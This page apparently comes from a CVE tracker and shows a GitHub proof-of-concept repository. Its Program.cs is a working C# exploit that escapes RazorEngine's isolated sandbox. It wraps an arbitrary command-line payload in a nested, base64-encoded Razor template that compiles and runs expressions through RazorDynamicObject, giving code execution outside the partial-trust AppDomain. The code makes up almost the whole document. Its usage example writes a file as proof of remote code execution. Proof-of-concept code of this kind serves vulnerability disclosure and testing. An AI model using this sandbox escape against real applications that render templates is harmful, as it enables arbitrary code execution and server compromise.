4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Program.cs CS
using System;
using System.IO;
using System.Linq;
using System.Security.Policy;
using System.Security;
using RazorEngine;
using RazorEngine.Configuration;
using RazorEngine.Templating;
using System.Diagnostics;
using System.Security.Cryptography;
using System.Web.Razor;

namespace Poc
{
    internal class Program
    {
        // See: https://antaris.github.io/RazorEngine/Isolation.html
        private static AppDomain SandboxCreator()
        {
            Evidence ev = new Evidence();
            ev.AddHostEvidence(new Zone(SecurityZone.Internet));
            PermissionSet permSet = SecurityManager.GetStandardSandbox(ev);
            // We have to load ourself with full trust
            StrongName razorEngineAssembly = typeof(RazorEngineService).Assembly.Evidence.GetHostEvidence<StrongName>();
            // We have to load Razor with full trust (so all methods are SecurityCritical)
            // This is because we apply AllowPartiallyTrustedCallers to RazorEngine, because
            // We need the untrusted (transparent) code to be able to inherit TemplateBase.
            // Because in the normal environment/appdomain we run as full trust and the Razor assembly has no security attributes
            // it will be completely SecurityCritical. 
            // This means we have to mark a lot of our members SecurityCritical (which is fine).
            // However in the sandbox domain we have partial trust and because razor has no Security attributes that means the
            // code will be transparent (this is where we get a lot of exceptions, because we now have different security attributes)
            // To work around this we give Razor full trust in the sandbox as well.
            StrongName razorAssembly = typeof(RazorTemplateEngine).Assembly.Evidence.GetHostEvidence<StrongName>();
            AppDomainSetup adSetup = new AppDomainSetup();
            adSetup.DisallowCodeDownload = true;
            adSetup.ApplicationBase = AppDomain.CurrentDomain.SetupInformation.ApplicationBase;
            AppDomain newDomain = AppDomain.CreateDomain("Sandbox", null, adSetup, permSet, razorEngineAssembly, razorAssembly);
            return newDomain;
        }

        // See: https://github.com/Antaris/RazorEngine/issues/585
        private static void IsolatedRazorEngineService_BadTemplate_InSandbox(string template)
        {
            using (var service = IsolatedRazorEngineService.Create(SandboxCreator))
            {
                service.RunCompile(template, "poc");
            }
        }

        private static string CreateNestedTemplate(string initialTemplate)
        {
            // An encoded version of our template to prevent issues with special characters
            byte[] base64Bytes = System.Text.Encoding.UTF8.GetBytes(initialTemplate);
            string base64String = Convert.ToBase64String(base64Bytes);

            return $@"
                @using RazorEngine;
                @using RazorEngine.Templating;
                @{{
                    var base64EncodedBytes = System.Convert.FromBase64String(""{base64String}"");
                    var template = System.Text.Encoding.UTF8.GetString(base64EncodedBytes);
                    var result = Engine.Razor.RunCompile(template, ""poc"", null, new {{ N = ""empty"" }});
                }}";
        }

        static void Main(string[] args)
        {
            if (args.Length == 0)
            {
                Console.WriteLine("Usage: poc.exe \"<payload>\"");
                Console.WriteLine("Example: poc.exe \"System.IO.File.WriteAllText(\"rce.txt\", \"Hello World\");\"");
                Environment.Exit(0);
            }

            string input = args[0];
            //Console.WriteLine(input);

            string initialTemplate = $@"
                @using System.IO
                @using RC = RazorEngine.Compilation
                @{{
                    System.Linq.Expressions.Expression<System.Action> exp = () => {input}
                    dynamic d = (RC.RazorDynamicObject)RC.RazorDynamicObject.Create(exp);
                    System.Action a = d.Compile();
                    a();
                }}";

            var nestedTemplate = CreateNestedTemplate(initialTemplate);

            // Remove this comment to test the template
            IsolatedRazorEngineService_BadTemplate_InSandbox(nestedTemplate);

            Console.WriteLine(nestedTemplate);
        }
    }
}